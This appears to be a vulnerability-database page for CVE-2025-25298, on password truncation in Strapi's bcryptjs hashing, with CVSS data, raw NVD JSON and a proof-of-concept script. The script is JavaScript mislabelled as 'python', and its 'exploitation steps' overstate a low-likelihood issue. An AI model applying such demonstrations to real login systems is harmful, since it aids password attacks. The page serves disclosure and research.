Security Vulnerability Report
中文
CVE-2025-25298 CVSS 5.3 MEDIUM

CVE-2025-25298

Published: 2025-10-16 17:15:33
Last Modified: 2025-12-31 01:06:01

Description

Strapi is an open source headless CMS. The @strapi/core package before version 5.10.3 does not enforce a maximum password length when using bcryptjs for password hashing. Bcryptjs ignores any bytes beyond 72, so passwords longer than 72 bytes are silently truncated. A user can create an account with a password exceeding 72 bytes and later authenticate with only the first 72 bytes. This reduces the effective entropy of overlong passwords and may mislead users who believe characters beyond 72 bytes are required, creating a low likelihood of unintended authentication if an attacker can obtain or guess the truncated portion. Long over‑length inputs can also impose unnecessary processing overhead. The issue is fixed in version 5.10.3. No known workarounds exist.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:* - VULNERABLE
@strapi/core < 5.10.3
Strapi 5.x < 5.10.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-25298 PoC - Strapi Password Truncation Vulnerability // Demonstrates how bcryptjs silently truncates passwords beyond 72 bytes const bcrypt = require('bcryptjs'); async function demonstrateTruncation() { // Create a password longer than 72 bytes const longPassword = 'A'.repeat(72) + 'EXTRA_SECRET_SUFFIX_DATA'; // Create the same password but only the first 72 bytes const truncatedPassword = 'A'.repeat(72); console.log('Long password length:', Buffer.byteLength(longPassword)); console.log('Truncated password length:', Buffer.byteLength(truncatedPassword)); // Hash the long password (Strapi's vulnerable behavior) const hash1 = await bcrypt.hash(longPassword, 10); console.log('Hash of long password:', hash1); // Hash the truncated password const hash2 = await bcrypt.hash(truncatedPassword, 10); console.log('Hash of truncated password:', hash2); // Verify: long password matches with truncated version const match1 = await bcrypt.compare(truncatedPassword, hash1); console.log('Truncated password matches hash of long password:', match1); // Expected: true - proving the truncation vulnerability // Simulate Strapi registration with long password console.log('\n--- Simulating Strapi Registration ---'); const userInputPassword = 'MySecureP@ssw0rd' + 'X'.repeat(60); // > 72 bytes const storedHash = await bcrypt.hash(userInputPassword, 10); console.log('User registered with password length:', Buffer.byteLength(userInputPassword)); console.log('Stored hash:', storedHash); // Attacker only needs first 72 bytes to authenticate const attackerPassword = userInputPassword.substring(0, 72); const authResult = await bcrypt.compare(attackerPassword, storedHash); console.log('Attacker authentication with truncated password:', authResult); // Expected: true - vulnerability confirmed } demonstrateTruncation().catch(console.error); // Exploitation steps for CVE-2025-25298: // 1. Identify a Strapi instance running version < 5.10.3 // 2. Register a new account with a password > 72 bytes // 3. The system stores hash based only on first 72 bytes // 4. Authentication only requires the first 72 bytes // 5. Effective password entropy is reduced

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25298", "sourceIdentifier": "[email protected]", "published": "2025-10-16T17:15:33.353", "lastModified": "2025-12-31T01:06:00.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Strapi is an open source headless CMS. The @strapi/core package before version 5.10.3 does not enforce a maximum password length when using bcryptjs for password hashing. Bcryptjs ignores any bytes beyond 72, so passwords longer than 72 bytes are silently truncated. A user can create an account with a password exceeding 72 bytes and later authenticate with only the first 72 bytes. This reduces the effective entropy of overlong passwords and may mislead users who believe characters beyond 72 bytes are required, creating a low likelihood of unintended authentication if an attacker can obtain or guess the truncated portion. Long over‑length inputs can also impose unnecessary processing overhead. The issue is fixed in version 5.10.3. No known workarounds exist."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-261"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.10.3", "matchCriteriaId": "484D5DC3-7361-47AD-A343-CC107157E6D8"}]}]}], "references": [{"url": "https://github.com/strapi/strapi/commit/41f8cdf116f7f464dae7d591e52d88f7bfa4b7cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/strapi/strapi/security/advisories/GHSA-2cjv-6wg9-f4f3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}